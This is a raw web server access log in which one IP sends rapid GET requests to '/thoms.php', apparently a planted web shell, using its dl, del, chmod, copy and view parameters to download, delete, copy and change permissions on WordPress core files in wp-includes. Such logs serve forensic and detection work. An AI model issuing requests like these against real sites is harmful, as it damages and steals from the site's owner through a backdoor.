45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?dl=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22274 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?chmod=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22158 "https://163.245.207.76:443/thoms.php?dl=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?del=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22260 "https://163.245.207.76:443/thoms.php?del=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22241 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22066 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?del=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?del=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?del=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?chmod=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22280 "https://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?chmod=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22197 "https://163.245.207.76:443/thoms.php?chmod=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22252 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22159 "https://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?chmod=rest-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=rest-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?del=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?chmod=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?dl=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22140 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?del=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
